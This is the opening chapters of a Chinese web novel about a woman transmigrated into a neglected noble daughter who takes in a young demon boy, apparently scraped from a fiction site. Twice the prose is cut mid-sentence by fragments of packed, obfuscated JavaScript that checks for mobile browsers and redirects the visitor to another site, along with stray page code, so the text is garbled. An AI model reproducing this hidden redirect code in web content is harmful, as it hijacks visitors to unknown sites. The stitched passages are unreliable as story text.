《捡个魔尊当弟子》 1. 魂穿 黑雾如幕,缠绕着遮蔽了天空,耳边嘈杂人声不断。不远处密密麻麻地站满了人,就连半空中都浮着不少御剑或是乘坐法器的身影,极具压迫感。 只是梁惜因看不真切。地面上繁复的纹样泛起阵阵金光,阻隔了她的视线。她意识到自己正在下落,身体很轻,仿佛随时都会随风而去。 直到一双手接住了她。 梁惜因的视线涣散着,她努力想看清这人的长相,但眼前就如覆了一层浓雾,怎么也抹不开,只能依稀看见他脸侧滑落的泪滴。 别哭啊...为什么要哭... 梁惜因心口蓦地一痛,她张口想要安慰他,却说不出话来。接住她的那双手不停颤抖着,梁惜因抬起手,摸了摸他的脸颊。 只是这么一个动作,就好似耗尽了她全身的力气。眼前的景象逐渐被黑暗侵蚀,彻底失去意识前,梁惜因感觉到自己被这人揽入了怀中,周遭的声音在这一刻骤然消散,只余耳畔的一声“阿因...” 极轻,又极重,含着无限悲苦。 梁惜因猛地睁眼,从床上坐了起来。室内昏暗一片,她缓缓平复着呼吸,心内还有几分恍惚。 又做了这个梦啊...从她幼时有记忆起,这些纷乱模糊的片段便不时会出现在她梦中。自来了这里后,出现的频率更是愈来愈高。 那人到底是谁,为何梦中的她在看到他落泪后会那般难受,心口宛如被扎了一个洞,心疼、悲伤、不舍...种种情绪奔涌而出,似要把她淹没。 梁惜因坐在床上缓了好一会,借着从破旧窗扇中透进来的几缕微光看清了室内的摆设,然后又默默躺了回去。 梁惜因:“......” 是了,她险些都忘了,这里已经不是她原来熟悉的出租屋了,而是身为皇城名门望族的梁家所居的梁府。 梁家来到皇城的时间其实并不算长,是从现任家主梁允的父亲考上探花时举家搬迁来的。先帝颇为重视这位学富五车的探花郎,予他一路高升。 而自小受父亲教导的梁允自然也是才华横溢,在此后大盛与西朔的战役中积极出谋划策。新帝登基后仍被重用,左右逢源。梁家的势头也跟着蒸蒸日上。 只是这梁家主在官场上混得如鱼得水,私底下在府里的生活却是不足为外人道也,说得好听点叫风流多情,说白了其实就是花心滥情,皇城中就有人言“梁府的钱怕是都用来养女人了”。 至于梁允膝下的孩子,更是多到可能连他自己都记不清。而梁惜因的原身梁因梁四小姐,很不幸就是被遗忘的孩子之一。 原身的生母本为陵州歌女,因样貌出众而被去陵州游乐的梁允带回皇城,也曾受宠过一段时日,在有孕后梁允还曾为其大摆酒席、宴请宾客,这是府中任何一个妾室都没有的待遇,风光一时。 只是这份宠爱很快就在梁因被诊出痴傻后消失殆尽了。 是的,原身在出生不久后就表现出痴傻的迹象,自恃才高的梁允自然不会承认自己的女儿竟是个傻子,干脆眼不见心不烦,将她们母女二人安置到府中的偏僻小院,自去别处享那温柔乡去了。 府中的下人们又惯会见风使舵,甚至连经过这院门时都要唾一声“晦气”,可想而知她们此后的生活有多么艰难。 没过几年原身生母就郁郁而终了。万幸有个曾受她恩惠的丫鬟秋月愿意照顾原身,省吃俭用地把她拉扯大,可惜却也于前几日积劳成疾,撒手而去了。 原身虽痴傻,但记忆很是连贯清晰,这些便都是梁惜因从中了解到的,其中大多都来自秋月的讲述。她在穿来这个世界后,第一件事就是想办法把秋月较为体面地葬了,而这几乎耗尽了小院内仅剩的积蓄。 梁惜因在床上翻了个身,又躺了半晌,最终还是选择接受现实。她起身下床,从那摇摇欲坠的柜子中取出了一个木匣,只见里头孤零零地躺着几串铜钱,瞧着颇为寒碜。 她叹了口气,把木匣放回了原处,又环视了一遍屋内:腐朽的门扉、斑驳的墙壁、破败的屋顶...... 所以为什么别人穿越都是自带金手指,而她就是天坑开局啊?!! 在数不清是第多少次吐槽后,梁惜因稍稍振作了点。别的不提,这小院虽然荒凉破旧,但也还算得上是整洁干净,可以感觉到住在这的人是很努力地想把生活过好的。 她这番占了别人的身子,无论如何都要替原身好好活下去才是,想来这也是那无奈离去的两个女子的心愿。 下定决心后,梁惜因察觉到了腹中传来的饿意。她推开门走到院落中,日光正盛,想来时候已是不早了,也该去寻些吃的了。 梁府内的奴仆来不来送饭、送什么饭全凭他们心情,送来的东西也鲜少有能入口的,平日里基本都是靠秋月弄些简单的吃食来度日。 今日是梁惜因来到这个世界的第三日,吃的尽是房内剩着的干粮馒头。昨日奴仆送来饭菜,她在吃了两口后又默默寻了个地方倒掉了。不是她不珍惜粮食,也不是她不饿,而是这饭菜实在是馊得难以下咽啊!!鬼知道被放了多少天了。 好歹原身也是个小姐啊,这般欺辱... 不过现在不是感慨的时候,再不弄些吃的,她怕是真要饿死在这了。梁惜因回房拿上铜钱,简单收拾了一番就出门向着墙角的一处狗洞走去。 没错,狗洞。这也是她从原身的记忆中得知的。梁惜因蹲在洞前,怎么也想不明白自己怎么就沦落到了这般地步。 想不明白就别想了,即来之则安之,先好好活下去再说吧。 梁惜因深吸一口气,还算顺利地从洞中爬了出来。她拍了拍衣摆处沾上的尘土,直起身回望了眼身后的院墙。直到此时,她才真正开始探索这个陌生而新奇的世界。 梁惜因走得很慢,边走边记着周围的景物,以防找不到回来的路。那小院再破,也总归是一个安身之处,总比流落街头要强。 她一路循着人声走去,不多时就走到了主街上。独属于皇城的繁华之景在她眼前缓缓铺开,不绝的车马、如流的行人、各色绫罗绸缎织就的锦衣、阳光下熠熠生辉的各式珠钗以及耳畔高低起伏的吆喝声... 梁惜因有些拘谨。救命,她可不知道皇城的物价啊,也不知出门时带的铜钱够不够用。走了近半条街,梁惜因才在一家不起眼的小面馆坐下,点了碗阳春面。 老板娘很快就将面碗端了过来。红棕的汤上浮着点点翠绿的葱花,细白的面条睡在汤碗里,缕缕热气携着香味缓缓上浮着,光是看着就令人食指大动。 梁惜因叉了一筷子面入口,险些落下泪来。热的!能吃的!她已是连着几日没有这种感受了,温热的白面入腹,使她那颗初来异乡的心也得了些许宽慰。 此时还未到饭点,店内只稀稀落落地坐着几个客人。距梁惜因不远处坐了两名男子,姿容飒爽,腰间佩剑。 蓝衣男子喝了口桌上的茶水,开口问道:“杜兄,你此次下山除妖可还顺利?” 被称作“杜兄”的白衣男子翘着个二郎腿,甩了甩脑后高束的马尾,不屑道:“嗤,区区一只马腹,还不够我练手的。” “是吗?我可是听说那妖兽马腹人面虎身,还喜食人。如此凶猛,杜兄你莫不是在诓我?”青衣男子表示不信。 白衣男子听后,当即就一拍桌子站了起来,脸色涨红:“叶天舟,你少看不起人了,我杜昱再怎么说也是玄晖宗的弟子!” 这动静闹大了,店内其余人自是都看了过来,纷纷在心内猜测这两人接下来是在店内打还是出去打。连本来不甚在意的梁惜因也不例外,不过主要还是怕自己会被无辜殃及。 那叶天舟瞧着依旧十分淡定,拿起茶壶给对面人的茶盏满上,劝道:“诶,我这也就随口一说,你看你又急上了。” 杜昱也发觉了店内众人自以为隐蔽的视线,脸色更红,在原地愣了三秒后又撩袍坐下,愤愤地喝了一口茶,神色依然不爽。 叶天舟继续道:“那杜兄你和我说说,是怎么除那马腹的?” “说起这个啊,当时我在村子附近的一处林中遇到这妖兽......”杜昱的神情顿时活泛开来,似乎完全忘了刚刚还在生气的是谁,“说时迟那时快,我在它扑上来的瞬间就直接拿剑给它敲晕过去了。” 等会...剑是这么个用法吗?? 怀疑自己听力出问题的不止梁惜因一人,叶天舟也问:“啥?敲晕?” 杜昱咳了几声,视线飘忽:“我这剑不是近日新炼的吗,结果拔剑的时候卡住了,没拔出来...但那又如何,我就算只拿一个剑鞘也照样能把它干掉!” 叶天舟:“......” 梁惜因:“......”已经能想象出当时的场景了呢。 见他沉默,杜昱又找补道:“而且叶兄,这用剑鞘也是有讲究的,你得寻一个合适的力道和方向才能得手。等把这妖兽敲晕了,你就可以放心地朝致命处用剑了,也不用怕会刺不准。” 叶天舟竟真有些被说动的意思,摸着下颌思索道:“是吗...改日我也试试。” 梁惜因:“......”很难不担心他们的精神状态。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358959|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二人愈聊愈欢,最后叶天舟一拍桌子,爽朗道:“老板娘,结账!” 杜昱忙去拦他:“诶,怎么能让叶兄请客呢,我来付我来付。” “我来就行,也不缺那点钱。” “不可不可,还是我来...” 他们在这你推拒来我推拒去,一派好兄弟一家亲的和谐景象。老板娘在旁站着,满面笑容地问:“两位公子,你们到底谁来付账啊?” 叶天舟把快扑到他身上的杜昱扒拉开,从布袋中掏出一样东西来往桌上一放,大喊道:“我来!” 在看清桌上的物什后,老板娘脸上的笑容顿时消失了:“公子,我们店只收铜钱和银子,不收灵石。” 杜昱:“......” 叶天舟:“......啊?”靠,平时用灵石用惯了,他还真给忘了。 他扭头看向对面,就见方才还抢着和他付帐的杜昱默默用手捂住了脸,正低着头努力装作不存在。 叶天舟:“......” 察觉到身后老板娘的灼灼目光,叶天舟也学着杜昱用手捂住了脸...丢人,实在是丢人啊! 目睹了全程的梁惜因强忍住笑意,起身走到了他们桌前:“我来替他们付吧。” 她这也是有着自己的考量。她初来乍到,人生地不熟,这些钱就算留着也撑不了几天,倒不如拿去多结交一些人,日后说不定也能寻些帮助。 叶天舟和杜昱听了,如蒙大赦,不约而同地把手放了下来。两人对视一眼,对梁惜因行了一礼:“多谢姑娘。” 梁惜因笑着回了句“没事”,问清老板娘三人共需的铜钱后,就开始从钱袋里掏钱。 老板娘打量着站在面前的小姑娘,只见她身形纤瘦,长发简单地用一根簪子挽起,肤色白皙得几近透明,鼻梁小巧,薄唇微弯,低头时脸侧落下的几缕发丝更衬得她整个人温婉如玉,清丽非常。 最令她惊奇的还是那双眉眼,酷似她寻常去庙里拜的观音,柳眉纤长,眼尾上翘,流转间隐隐含着一种慈悲。 对众生诸相的慈悲。 她在皇城中经营多年,也见过不少贵人,却还是第一次遇见这等气度的女子。老板娘一时看得愣住,直到梁惜因把钱递到她眼前时才反应过来。 “是四十五文对吧?” “对对对,四十五文。”她在接钱的一瞬间又变了主意,这姑娘穿的是最廉价的粗布衣衫,想来家中也不容易。 如此,她又还了五文回去,“算了姑娘,你给我四十文就行。” “多谢老板娘!”梁惜因一喜,心内老泪纵横。世上还是好人多啊! 另两人也道:“多谢老板娘!” 三人走出面馆,杜昱和叶天舟在店门前又唤住了梁惜因。 杜昱:“在下乃玄晖宗天枢峰的杜昱,这位是苍梧宗的叶天舟叶公子。不知姑娘如何称呼?” 梁惜因回道:“我是梁令公府上的梁因,于府中排行第四。” 叶天舟了然笑道:“原是梁四姑娘,我此次下山也是久闻令尊大名啊。” “梁姑娘以后若是遇上什么妖兽魔兽或是怪事,尽可来苍梧宗找我,保证帮你解决得干干净净,再无后顾之忧!” “一边去,”杜昱上前把人给挤走,“梁姑娘,这种事还是要来找我们玄晖宗,比他们那要靠谱多了。” “不是,你什么意思?”叶天舟不甘示弱地挤了回来。 “字面意思,论起除害,哪个门派比得上我们玄晖宗?”杜昱挑眉,眼底尽是骄色。 “...你!” “我什么我?说得不对?” 眼看这两人又快吵起来了,梁惜因连忙道:“多谢二位公子了,若有情况,两边我都会去的。” 杜昱和叶天舟对视一眼,又同时扭开了头。 “哼!” “切!” 梁惜因:“......”这就是修仙之人嘛... 杜昱似是又想起了什么,从袋中取出两张符纸递给了梁惜因:“梁姑娘,近来世间魔族愈加猖獗,我这还剩了几张避魔符,你好生收着。” “若有魔族在周围,此符会发热以示你避开。若实在避不过去,就以此符击之,也能暂时压制住修为一般的魔族。” 梁惜因深知此符对如今的她的重要性,也不多做推拒,由衷谢过后便接来放进了袖中。 看来这钱花得值呀。 待三人都离去后,一直在不远处待客的老板娘慢慢反应过来了:那梁家的四小姐...不是个傻子吗? 2. 初逢 梁惜因在皇城的街道上转悠了半天,对这个世界有了些大体了解。待到日暮西斜之时,她才循着记忆往回走。 此间人族的数量最多,但也不乏妖族和魔族。随着时日的流逝,世间苦难逐渐增多,越来越多的怨气也就无从消散,肆虐于人间。 而为降妖除魔、化解怨念,自然便出现了一批修仙者,以及由他们所成立的修仙门派。但无论他们所修为何,这几百年来得道成仙者愈来愈少,乃至于无。 原因无他,怨气横行于世,灵气也就日益稀薄。 妖魔猖狂,人世不宁,此当何为? 世道如此,她想好好活下去只怕更是艰难。梁惜因正兀自叹息着,道旁一个宽袍大袖、须发散乱的男子却是突然叫住了她:“姑娘,要不要来算上一卦?” 天色已晚,此处又偏僻,鲜有行人,因此梁惜因非常确定他叫的就是自己。她向那男子投去视线,只见他面前摆着一木制小桌,身后高束一面白旗,上书“神算子”三字,字迹清逸洒脱,颇见风骨。 对此,梁惜因果断表示拒绝:“不必,我真没钱。” 那男子听后大笑几声,不紧不慢地收拾起东西,举着他那白旗悠悠然地从梁惜因身边走过,仰天长吟:“残魂再归,前缘难了。百年痴梦,安能道尽——” 梁惜因看着他走远,只觉这人虽蓬头垢面,但一双眼睛却是亮得惊人。一股酒气迎面而来,梁惜因微微蹙眉,难怪这人言行如此奇怪,想来是喝多了。 她并未将这胡言乱语放在心上,继续往梁府走去。在看见红日下那熟悉的院墙后,她逐渐加快了脚步。 耳边的犬吠声也慢慢清晰起来,伴着低吼与咆哮,凶猛异常。 梁惜因估摸着这声音据自己还有一段距离,便也不甚在意,蹲下身子准备钻洞回小院。 可在听到一声尚显稚嫩却暗含凶劲的“滚开”后,她又止住了动作。 这声音听着也不过是个几岁的幼童,再联系起那接连不断的犬吠声,梁惜因立时起身,向着声音来源处奔去。 不多时,她便在近处的林中寻到了那孩子的身影。他衣衫破旧,背对着梁惜因,正挥舞着双手驱赶那把他围住的几条恶犬,不时还从地上抓起些石土向前投掷着。 虽身陷包围,实力悬殊明显,可他却丝毫不见惧意,仍在那喊道:“滚开!别过来!” 而那些恶犬竟当真未再靠近分毫,只是在不远不近处狂吠着,模样凶狠。梁惜因心中道奇,但仍是不敢大意,谁知道这些气势汹汹的狗何时会真的扑上来。 她从地上拾起根木棍为自己壮胆,三两步上前帮着驱赶起来:“走开!都走开!” 这几条恶犬本就是虚张声势,见又来了个人,手上还拿着家伙,装模做样吠了几声后就全都掉头跑了。 梁惜因松了口气,确认它们是真的跑远了后才回过身子,蹲下身问那小孩道:“你没事吧?可有被咬到?” 方才瞧着还很是无畏的小孩忽地就红了眼眶,眼底蓄起泪水,欲哭不哭地可怜道:“姐姐,我害怕。” 梁惜因心里一软,又靠近了些,安慰道:“没事,它们都跑远了,没什么好怕的。” 正说话间,她忽觉袖内有一处越来越烫。梁惜因想起那是她放避魔符之处,便疑惑地伸手去探。 而这一探,更是令她惊疑不已。袖内哪还有什么符纸,分明只剩下了一堆纸灰! 梁惜因倒吸一口气,杜昱告诉她此符遇魔即热,持之可挡。眼下这两张符皆已成灰烬,只能说明一件事——周围存在着修为极其高深的魔族。 不是,这么小概率的事为什么也能给她碰上啊?! 心跳不断加快着,梁惜因尽量保持不动声色。若真有魔族在不远处,不该像此时这般毫无动静。身旁的小孩见她不语,又困惑地喊了声:“姐姐?” 梁惜因回过神来,一个猜测慢慢浮现在她心头。眼前这孩子看着不到十岁,墨发披散,与冷白得几乎不见血色的皮肤对比鲜明。五官极为精致,眼下中间位置各有两枚红痣,一双瞳孔黑白分明,但眸色幽深,完全不似他这个年纪的孩子该有的。 最不同寻常的则是他眉间的红色纹样,似字非字,难辨其意。 薄暮冥冥,残阳如血。在被斜阳染红的半边天下,梁惜因注意到他裸露在外的小半手臂正向外散发着缕缕黑气,可他的神情却又是那般天真。此情此景,诡异而又怪诞。 小孩也注意到了她的视线,默默把手背在了身后:“姐姐,别怕。” 得了,现在是该轮到她害怕了。 也无怪乎方才那些恶犬不敢上前来,想来是他身上的魔息令它们本能地感到不安与惧怕。 梁惜因沉默片刻,确认般地问道:“你是魔族?” 小孩点点头,似乎并不觉着这有什么问题。他把背在身后的手重又伸了出来,那缭绕着的黑气已然消失殆尽,呈现在梁惜因眼前的只有那本该光洁的手心上的几道擦痕,鲜血混杂着沙土,触目非常。 “姐姐,疼。” 梁惜因:“......” 脑中又响起杜昱临走前告诫她的话:“魔族狡诈多端,生性残忍,梁姑娘务必小心。”理智告诉她这孩子很危险,不能再接触下去了。但她从现世而来,情感上又实在不允许她就这么把他抛在这。 挣扎一番后,梁惜因还是觉着,就算他是实力很强的魔族,但这么小的孩子,真的会如他们口中的魔族那般十恶不赦吗?要是不管不顾的把他丢在这,能不能活过一个月都难说。 况且...梁惜因看了眼被小孩紧紧攥住的衣袖,她一介凡人,只怕还真甩不掉他。她这情况也不可能一直带着他,大不了过几天再给他另寻个去处。 这般想着,梁惜因叹了口气,说道:“走吧,我先带你回去。” 小孩的双眼一下就亮了起来,毫不掩饰面上的喜意,“嗯!”夕阳映照在他脸上,更衬得他面容如画。 梁惜因心中一动,好可爱...这么乖巧的孩子,怎么看也不像是会作恶的样子啊。随即她摇了摇头,努力把这个想法甩到脑外,她孤身来到这个陌生的世界,对人对事还是要警惕些为好。 她顶多收留这孩子几日,此后说什么也要给他找个新去处。 一大一小又回到了那熟悉的狗洞前,梁惜因难得感到些许窘迫:“那个...先和你说一下,姐姐住的地方很破的。” “没关系。”小孩仰脸看她,瞳中映着她的倒影。 真的好乖。梁惜因此前一向不怎么喜欢小孩,觉着他们又吵又闹腾。现在看来,小孩也有很讨喜的嘛! 那孩子乖乖地跟在她身后爬过狗洞,又走进了小院中。梁惜因记得房中还剩些寻常的跌打损伤药,便让他在床上坐着,自去柜中拿药。 结果一回身,梁惜因差点撞上他。她吓了一跳,脱口道:“不是让你在床上等着吗?” 小孩不说话,只是定定地望着她,眼底藏着忐忑。 梁惜因把他牵回床边,重新让他坐下:“别担心,我既是都把你带回来了,便不会突然消失。”起码这几日不会。 小孩依旧不语,但看向她的眼神多了几分安心。梁惜因托着他受伤的手,轻柔地抹着伤药:“是摔伤的吗?” “嗯...” “疼不疼?我这力道。” 小孩摇摇头:“不疼的。” 他看着确实没什么反应,就如感受不到痛一样。但梁惜因还是又放轻了力道:“伤口不深,这几天先不要碰水,过些时日就能好了。” “好。” 夜色已临,窗外无星无月,只余冷风簌簌,平 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梁惜因惊醒过来,本就不结实的窗户难抵强风,“砰”的一声被吹开,乘势而入的雨丝糊了正对着窗的梁惜因一脸。 梁惜因:“......” 她抹了把脸,认命般地翻身坐起。恰在此时,窗外又响起一道惊雷,借着那片刻的白光,梁惜因看清床边不知何时站了个人影,脸色苍白如纸,正一动不动地盯着她。若有若无的黑雾在他身边浮动着,配着今夜的电闪雷鸣,活脱脱的午夜惊魂。 梁惜因:“啊!!!” 那人影未有任何动作,倒是有声委委屈屈的“姐姐”传进了她耳中。 双眼已逐渐适应了黑暗,梁惜因定睛一看,那人影除了是她不久前带回来的小孩还能是谁。小孩正不解地看着她,而方才的黑雾也如幻觉一般消失了。 梁惜因:“......”好丢人,忘了小院里多了个人了。 她装作无事发生的样子,清了清嗓子,问他道:“你是何时过来的?” “方才。” 雨丝不断从窗外飞洒进来,小孩身后的头发不可避免的沾湿了些许。梁惜因注意到了,她起身下床,又问他:“那边的窗户也被吹开了吗?” 说着,她推开那半掩的房门,屋内漆黑一片,唯有大开的窗扇不停拍打着两侧墙壁,冷风倒灌进来,呼呼作响。与她的房间是同样的情形。 梁惜因忙活了半天,重新加固了两扇窗户,又检查了遍室内有无漏雨或其它不结实之处。期间小孩一直乖巧地跟在她身后,见缝插针地帮着小忙。 等一切都忙完后,梁惜因拭了拭出汗的额角,对他说:“走吧,这下可以睡觉了。” 她正要迈步回房间,小孩却是突然拉住了她的手:“姐姐,我害怕...” 加固后的窗户虽能遮住风雨,却挡不住那阵阵雷鸣。小孩不大的手掌渗着寒意,另梁惜因不自觉就握紧了些。 她低头,小孩正仰脸望着她,漆黑的瞳孔中是纯然的信任与依赖。 梁惜因犹豫片刻,最终屈服道:“行吧,那你今晚要不要和我挤一挤?” “要!”小孩像是生怕她反悔,飞快地把枕头和被褥一齐抱来了。为了不让被角拖到地上,他那小身板几乎要被棉被给淹没了。 梁惜因好笑地上前接过被子,放到床上铺好,“你睡里面。” 小孩爬上床躺好,又期待地望着她。梁惜因隔了段距离躺在外侧,没忍住揉了揉他的脑袋:“快睡吧,晚安。” 小孩满足地眯起双眼,也学着她的说法道:“晚安,姐姐。” 折腾了半夜,梁惜因疲累得很快就睡过去了。陷入沉眠前,她听着窗外隐隐的雷声,恍惚间想到,今日好像是惊蛰。 惊蛰起,万物生。 3. 作伴 梁惜因浑身是汗地从梦中惊醒,黑雾、金光、泪滴...那梦境一次比一次真实,她昨夜甚至能感受到身体传来的痛意。 她盯着那木制天花板盯了半晌,察觉到身侧的视线,又慢慢转过头,毫不意外地看见了小孩那双墨色的瞳孔。 “早啊。”她道。 小孩担忧地问她:“姐姐,你没事吧?” 梁惜因没想到这也能被他看出来,现世的自己好歹也是个成年人了,如今倒是让一个孩子担心起她来了。 她努力隐去眉间的疲色,起身振作道:“无事,只是有些没睡好。” 小孩这才露出笑意,跟着她一道洗漱。梁惜因从昨日的包袱中取出新买的干粮,分了一部分给他:“只有这个吃了。” 小孩点头,面上没有半分嫌弃,低头啃得很是满足。 “对了,你手上的伤如何了?”勉强填饱肚子后,梁惜因问他道。 小孩愣了须臾,才慢慢伸出手掌。梁惜因本是拿了药想再给他抹上一些的,结果蹲下身一看,那本来略显狰狞的伤口已是基本恢复如初,只余一些极浅的痕迹。 梁惜因:“......?” 她不信邪地上手摸了摸,直摸得小孩五指微蜷才回过神来。所以这就是魔族的恢复力吗?梁惜因大受震撼。 “已经好得差不多了。”梁惜因抬眸道,却见小孩垂着眸子,瞧上去很是沮丧。 梁惜因再次:“?” 她也没多做在意,眼下还有一个问题亟需解决。梁惜因温声问他:“你在...你们那还有什么亲戚或是认识的人吗?” “没有。”小孩答得极快。 “当真没有吗?你再想想看呢。”梁惜因有些发愁。 谁料小孩眨了眨眼,竟是直接落下泪来:“姐姐,不要赶我走...” “......” 梁惜因人都傻了,不是,她有说什么很过分的话吗??? 眼瞧着小孩好似受了天大的委屈般越哭越凶,玉雪一样的脸上糊满了泪水,梁惜因手忙脚乱地摸出帕子来给他拭泪,嘴里还解释着:“不是要赶你走,是帮你换个住处,明白吗?” 这两者还是有明显区别的好吧!! 小孩显然不明白也不想明白,眼泪止不住地往外涌。并非是一般他这种年纪的孩子那种嚎啕大哭,而是低头抿着下唇,一副分明不想哭却又控制不住掉眼泪的模样,格外惹人心疼。 梁惜因...梁惜因还在试图讲道理:“姐姐这里已是自顾不暇了,照顾不好你的。你看看我这小院,你跟着我那基本上是吃不好睡不好......” 小孩也不知听没听进去,一双眼睛泪汪汪地望着她。 梁惜因:“......” “好好好,不赶你走。”她也是没办法了。而且...昨日相处下来,她确实没从小孩身上感受到什么恶意,反倒他还给自己修窗户帮了不少忙。她又一次地想着,魔族,当真俱是十恶不赦之徒吗? 此言一出,小孩立马止住泪水,抬头雀跃问她:“真的吗?” ...你但凡稍微遮掩下脸上的喜意呢? 梁惜因揉了揉额角,此事不是这么轻易就能决定的。她平视着他,郑重问道:“你当真想好了吗?我这里的条件你也看到了。” 小孩同样凝视着她,重重点头道:“嗯!” 静默片刻,他又补充一句:“我没有别的地方可去了。” 他说话时语气平静,好像这只是再寻常不过的一件事。梁惜因斟酌着开口问他:“那...你父母呢?” “没有。”声音依旧毫无波澜。 梁惜因怔住了,现世中的她同样无父无母,自小便在孤儿院中长大,再清楚不过这种感受。这孩子身为魔族,处境更为艰难,别说得到庇护,不被人人喊打都是轻的。 人族并不会因他年幼而网开一面,只会觉得他身上流着魔族的血,迟早都会为祸世间,不如早日为民除之。 她自来到这里后,身如浮萍,无牵无挂,光是活着就已不易。而如今,看着面前尚且稚嫩的面孔,她好像不再是孤身一人了。 而且不知为何,眼前这小孩给她一种莫名的熟悉感,她内心深处也并不想让他离开。 梁惜因上手把小孩本就不整齐的头发揉得更乱了些:“那就说好了,我这里虽然...比较清贫,但养你还是养得起的。” 小孩的两手从方才起就紧紧抓着衣摆,闻言才慢慢松开:“那我来保护姐姐。” 他神色认真,但梁惜因还是忍不住失笑道:“还是先保护好你自己比较要紧。” “对了,你叫什么名字?”她此前一直没问,毕竟若是聚了又散的点水之缘,又何必问了徒增惦念? “重霄。”他答得很快,就如在确认什么般,又一字一顿地重复道:“我叫重霄。” “重霄...”梁惜因低声念了几遍,“九重霄外云海阔。好名字。那我日后便唤你阿霄如何?” 重霄应声:“随姐姐怎么唤。” “好。”梁惜因轻笑,“那阿霄你记住,我呢,名叫梁因,因果的因。” - 梁惜因坐在门口的台阶处思索着,觉得当务之急还是要解决经济问题,她剩下的那点钱根本撑不了多久。 更何况现在还在原来天坑开局的基础上添了个魔族小孩... 梁惜因拍拍衣摆站起身来,嘱咐了重霄一声,让他不要出小院,便独自往府中下房去了。 下房便是梁府内奴仆住的地方,与她的小院同处于偏僻处,是以梁惜因很快就走到了。 此时正值日中,下人们多在府内做活,里头只有几个浣衣的婢女。梁惜因蹑手蹑脚地绕到下房角落的一根柱子后面,探出脑袋对不远处一个身影小声喊道:“春雨。” 被她喊的那人未作任何反应,仍旧在那低头浣衣。梁惜因只得又喊了几声:“春雨,春雨!” 春雨这才抬起头来,疑惑地朝四周张望了番,却并未见到周围有何人在唤她。她怀疑是自己幻听,复又低头去忙活手中的事。 梁惜因有些急了:“春雨,后面呀!” 春雨猛然回头,一见是梁惜因,顿时惊得把手中的捣衣杵都扔在了木盆里,张嘴就要喊:“四...” 梁惜因连忙竖起手指放在唇边,示意她噤声,又向她招了招手。 春雨反应过来,见没有惊动旁人,便匆匆跟在她身后绕出了下房,来到一处不显眼的墙根下。 甫一站定,春雨就对梁惜因行了个礼:“奴婢见过四小姐。” 梁惜因最受不了这套了,立马把人扶起道:“别,我现在哪算什么小姐啊。” 这话正戳中了春雨的伤心处,她望着梁惜因,又凄凄惨惨戚戚地唤道:“小姐...” “好了好了,”梁惜因打断她,“春雨啊,我来是想问你有没有什么赚钱的法门。” 春雨疑惑:“赚钱的法门?” “对。”不然这日子是真要过不下去了。 怎料春雨听了这话更是哀伤:“我与秋月姐姐一同入府,如今姐姐她去了,合该由我照料小姐,怎能让小姐为这些俗物费神。” “真好啊,小姐再也不会被骂傻子了,若是秋月姐姐知道了,不知该有多高兴...”说着,她还拿出帕子拭了拭眼角的泪。 梁惜因:“......” 怎么一个两个都说哭就哭...而且你秋月姐要知道了真相估计是惊悚更多... 不过秋月和春雨确实感情深厚,二人一同入府,不是亲姐妹胜似亲姐妹。春雨也多用自己的工钱来接济原身和秋月,哪怕她自己都吃不饱穿不暖。前不久安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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脑中又想起前不久她问春雨的那句话,春雨那叫一脸震惊加不解,却还是没忘了先答她的话:“这...奴婢不知,奴婢只是个下等丫鬟,没干过照料人的事。” 说罢,她犹豫片刻,又磕磕绊绊地问梁惜因道:“...小姐好端端地问这个做甚?” 梁惜因拍了拍她的肩:“没事,随便问问。” “......当真?” 梁惜因信誓旦旦:“当然,还能有假不成?” 想到这她又有些想笑,却注意到重霄停下了啃饼的动作,两眼亮晶晶地望着她。 梁惜因这才把手从他脑袋上收了回来,莫名心虚地咳了几声:“没事,你继续吃。” 重霄低头看着手中的那块饼,从底部撕了一大半递给梁惜因:“给姐姐。” 梁惜因愣了愣,没有接过来,面上笑意不禁又柔了几分:“你吃便行,我吃过了。” 算了,也没什么好忧心的。虽然她以前连小动物都没养过,但事到如今,还是走一步看一步吧。 就在这时,梁惜因忽闻小院外传来阵阵喧哗,“小爷的风筝呢?!” “六公子,七公子,小的看风筝是往这边飞的。” “快去找!那是爹才给我们买的,找不到就打断你的狗腿!” “是是是,小的一定尽力。” 梁惜因侧耳细听了番,又扫了一眼院内,果见院墙边的枯树上挂着一只肥燕风筝。她心下一动,刚还在愁神呢,眼下这机会就自己送上门来了。 那风筝挂得不高,梁惜因小跑着将它从树上取了下来,旋即递给重霄,快速叮嘱道:“阿霄,你拿着它到我房中躲着,听到什么动静都别出来。等我示意后再去把这风筝扔到院外,然后再回房间,好么?” 重霄尚未完全明白过来她的意图,但还是乖巧点头:“好。”说完就转身进了房间。 这时小院门口也响起了脚步声,“两位公子,小的方才亲眼见那风筝飞到这院内。” 4. 争执 “那还等什么,快给小爷把门踹开!” “咦?六哥,府中还有这么破的院子啊?瞧着可真寒酸。” “管它呢,肯定又是那些下等人的住处,你还愣着干嘛,快开门啊。” “是、是。” 紧接着就响起了阵阵踹门声,“里面的人呢?快把门打开!否则休怪六公子和七公子不客气!” 梁惜因听着那声响,着实为那久经风霜的木门捏了把汗。她上前把门打开,而那踹门的小厮反应不及,眼看着就要向前栽去,梁惜因见状,立马往旁边退了一步。 那小厮原地踉跄了半天才稳住了身形,虽没直接和大地来个亲密接触,但也深觉丢人。他正扭了头要教训来人一番,却在看清梁惜因的长相后怔在了原地。 不止是他,他身后的两位小公子也都怔愣住了。个头稍矮的那位拿肩膀撞了撞身旁的人:“哥,我们府里有这么标致的丫鬟吗?” 他哥给他使了个眼色,抬起下巴点了点面前的梁惜因:“喂,你是在哪做活的?怎么没见过你?” 梁惜因把被风吹动的碎发拢到耳后,嘴角挂着淡淡笑意:“六弟,七弟。” 